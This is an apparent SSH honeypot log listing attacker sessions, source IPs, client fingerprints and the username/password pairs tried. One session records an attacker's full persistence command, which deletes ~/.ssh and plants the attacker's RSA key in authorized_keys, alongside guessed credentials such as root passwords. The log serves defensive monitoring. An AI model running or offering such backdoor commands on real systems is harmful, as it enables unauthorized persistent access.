Adversarial Observation Interface

120.87.99.202

2026-07-28 15:54:08.307185 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 9837683b3ed2

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "9837683b3ed2",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:54:08.307185Z",
  "end_time": "2026-07-28T15:56:08.311799Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 15:52:11.068153 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 36f9d8d8d2e1

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "36f9d8d8d2e1",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:52:11.068153Z",
  "end_time": "2026-07-28T15:54:11.075528Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 15:50:14.669280 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 7d4b43915cab

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "7d4b43915cab",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:50:14.669280Z",
  "end_time": "2026-07-28T15:52:14.677245Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 15:48:20.778798 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: a1c36d9507f5

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "a1c36d9507f5",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:48:20.778798Z",
  "end_time": "2026-07-28T15:50:20.790091Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 15:46:55.377256 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: botuser

Record ID: d85f7a0fb473

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "d85f7a0fb473",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:46:55.377256Z",
  "end_time": "2026-07-28T15:46:57.618695Z",
  "duration": "2.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "botuser",
      "pass": "1234"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

120.87.99.202

2026-07-28 15:45:04.619834 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 8712f18e9b3c

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2m 0s

{
  "id": "8712f18e9b3c",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:45:04.619834Z",
  "end_time": "2026-07-28T15:47:04.630383Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 15:43:06.370220 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 117fd474c9af

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "117fd474c9af",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:43:06.370220Z",
  "end_time": "2026-07-28T15:45:06.375651Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

176.53.159.196

2026-07-28 15:42:42.234622 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / support

Record ID: abdb4c986807

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53

{
  "id": "abdb4c986807",
  "src_ip": "176.53.159.196",
  "start_time": "2026-07-28T15:42:42.234622Z",
  "end_time": "2026-07-28T15:42:43.396829Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

120.87.99.202

2026-07-28 15:41:10.183965 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: gitlabuser

Record ID: b6b40393b29a

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 3.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "b6b40393b29a",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:41:10.183965Z",
  "end_time": "2026-07-28T15:41:13.427035Z",
  "duration": "3.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "gitlabuser",
      "pass": "gitlabuser"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

120.87.99.202

2026-07-28 15:39:09.588658 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 00ec20b5a7a0

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "00ec20b5a7a0",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:39:09.588658Z",
  "end_time": "2026-07-28T15:41:09.641157Z",
  "duration": "120.1",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

170.64.167.72

2026-07-28 15:38:21.680613 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 338a504de5c7

Client Version: SSH-2.0-OPENSSH_7.9

Engagement Duration: 0.6s

HASSH Fingerprint: b21d7cdcc8133dc2b430d1a039fece20

{
  "id": "338a504de5c7",
  "src_ip": "170.64.167.72",
  "start_time": "2026-07-28T15:38:21.680613Z",
  "end_time": "2026-07-28T15:38:22.322829Z",
  "duration": "0.6",
  "version": "SSH-2.0-OPENSSH_7.9",
  "hassh": "b21d7cdcc8133dc2b430d1a039fece20",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

120.87.99.202

2026-07-28 15:37:12.147854 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 1dc259ed0f11

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "1dc259ed0f11",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:37:12.147854Z",
  "end_time": "2026-07-28T15:39:12.154796Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

8.134.159.4

2026-07-28 15:37:03.467420 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 0aa671620d2a

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "0aa671620d2a",
  "src_ip": "8.134.159.4",
  "start_time": "2026-07-28T15:37:03.467420Z",
  "end_time": "2026-07-28T15:37:04.694098Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

8.134.159.4

2026-07-28 15:37:00.032968 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 022712208e70

Client Version: Unknown

Engagement Duration: 3.2s

{
  "id": "022712208e70",
  "src_ip": "8.134.159.4",
  "start_time": "2026-07-28T15:37:00.032968Z",
  "end_time": "2026-07-28T15:37:03.282826Z",
  "duration": "3.2",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

2.57.121.25

2026-07-28 15:36:04.780285 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: admin / afrodita

Record ID: 98c8ca055be6

Client Version: SSH-2.0-PuTTY_Release_0.84

Engagement Duration: 6.0s

HASSH Fingerprint: 3356ae6145fa86124298066e281ea2d9

{
  "id": "98c8ca055be6",
  "src_ip": "2.57.121.25",
  "start_time": "2026-07-28T15:36:04.780285Z",
  "end_time": "2026-07-28T15:36:10.821527Z",
  "duration": "6.0",
  "version": "SSH-2.0-PuTTY_Release_0.84",
  "hassh": "3356ae6145fa86124298066e281ea2d9",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "afrodita"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

120.87.99.202

2026-07-28 15:35:12.169340 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 85f334990bc7

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "85f334990bc7",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:35:12.169340Z",
  "end_time": "2026-07-28T15:37:12.174172Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 15:33:17.227696 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: mpi

Record ID: 64bdb7e6acac

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 3.4s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "64bdb7e6acac",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:33:17.227696Z",
  "end_time": "2026-07-28T15:33:20.611842Z",
  "duration": "3.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "mpi",
      "pass": "mpi"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

120.87.99.202

2026-07-28 15:32:00.218991 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: 55b409533b88

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.4s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "55b409533b88",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:32:00.218991Z",
  "end_time": "2026-07-28T15:32:01.593677Z",
  "duration": "1.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

120.87.99.202

2026-07-28 15:31:57.731177 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 62aaa2f55fb6

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.3s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "62aaa2f55fb6",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:31:57.731177Z",
  "end_time": "2026-07-28T15:31:59.991441Z",
  "duration": "2.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

120.87.99.202

2026-07-28 15:31:50.008445 UTC

SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: root / bhu8*UHB

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: ad8f0998f703

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 11.6s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "ad8f0998f703",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:31:50.008445Z",
  "end_time": "2026-07-28T15:32:01.579194Z",
  "duration": "11.6",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "bhu8*UHB"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}

120.87.99.202

2026-07-28 15:29:54.119465 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 33717407ed05

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2m 0s

{
  "id": "33717407ed05",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:29:54.119465Z",
  "end_time": "2026-07-28T15:31:54.128161Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 15:27:58.433353 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: d92ed6f3ca99

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "d92ed6f3ca99",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:27:58.433353Z",
  "end_time": "2026-07-28T15:29:58.441935Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 15:26:03.545617 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: c1e453e5a2c3

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "c1e453e5a2c3",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:26:03.545617Z",
  "end_time": "2026-07-28T15:28:03.554951Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 15:24:09.805349 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 5065f6a03dec

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "5065f6a03dec",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:24:09.805349Z",
  "end_time": "2026-07-28T15:26:09.816653Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 15:22:43.210110 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: camilla

Record ID: e9d65d28da5f

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.3s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "e9d65d28da5f",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:22:43.210110Z",
  "end_time": "2026-07-28T15:22:45.525752Z",
  "duration": "2.3",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "camilla",
      "pass": "camilla"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

176.53.159.196

2026-07-28 15:21:08.235840 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / support

Record ID: 861eb348c3af

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53

{
  "id": "861eb348c3af",
  "src_ip": "176.53.159.196",
  "start_time": "2026-07-28T15:21:08.235840Z",
  "end_time": "2026-07-28T15:21:09.401268Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

120.87.99.202

2026-07-28 15:20:51.454889 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 9d4a8c67874c

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "9d4a8c67874c",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:20:51.454889Z",
  "end_time": "2026-07-28T15:22:51.465573Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 15:18:55.791204 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: a5e56f15808f

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "a5e56f15808f",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:18:55.791204Z",
  "end_time": "2026-07-28T15:20:55.799860Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 15:16:44.541007 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: e9e0c7ebd911

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "e9e0c7ebd911",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:16:44.541007Z",
  "end_time": "2026-07-28T15:18:44.645809Z",
  "duration": "120.1",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 15:14:46.140640 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 24c90c256925

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "24c90c256925",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:14:46.140640Z",
  "end_time": "2026-07-28T15:16:46.147177Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 15:13:10.850076 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 03696fb4f63e

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "03696fb4f63e",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:13:10.850076Z",
  "end_time": "2026-07-28T15:15:10.878991Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 15:11:11.511288 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 245250e70d36

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "245250e70d36",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:11:11.511288Z",
  "end_time": "2026-07-28T15:13:11.516259Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

176.53.159.196

2026-07-28 15:11:10.577074 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: support / support

Record ID: aafa6e06f64a

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: eff4c24daffc8532c160e86e5f006e53

{
  "id": "aafa6e06f64a",
  "src_ip": "176.53.159.196",
  "start_time": "2026-07-28T15:11:10.577074Z",
  "end_time": "2026-07-28T15:11:11.743101Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "eff4c24daffc8532c160e86e5f006e53",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "support",
    "pass": "support"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

120.87.99.202

2026-07-28 15:09:12.322231 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 5bdc9186a12c

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "5bdc9186a12c",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:09:12.322231Z",
  "end_time": "2026-07-28T15:11:12.327253Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 15:07:13.636936 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 7207711f30a0

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "7207711f30a0",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:07:13.636936Z",
  "end_time": "2026-07-28T15:09:13.642946Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 15:05:11.827687 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: fa7ce349a470

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2m 0s

{
  "id": "fa7ce349a470",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:05:11.827687Z",
  "end_time": "2026-07-28T15:07:11.856050Z",
  "duration": "120.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 15:03:12.967590 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 825c6a7109af

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "825c6a7109af",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:03:12.967590Z",
  "end_time": "2026-07-28T15:05:12.972839Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 15:01:14.021725 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 312b5e696713

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "312b5e696713",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T15:01:14.021725Z",
  "end_time": "2026-07-28T15:03:14.027201Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

120.87.99.202

2026-07-28 14:59:14.251969 UTC

SCORE: 10

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 1e6bfb67be36

Client Version: Unknown

Engagement Duration: 2m 0s

{
  "id": "1e6bfb67be36",
  "src_ip": "120.87.99.202",
  "start_time": "2026-07-28T14:59:14.251969Z",
  "end_time": "2026-07-28T15:01:14.256525Z",
  "duration": "120.0",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 10,
  "tags": []
}

192.248.150.180

2026-07-28 14:58:06.673029 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: c84727852c20

Client Version: SSH-2.0-Go

Engagement Duration: 0.3s

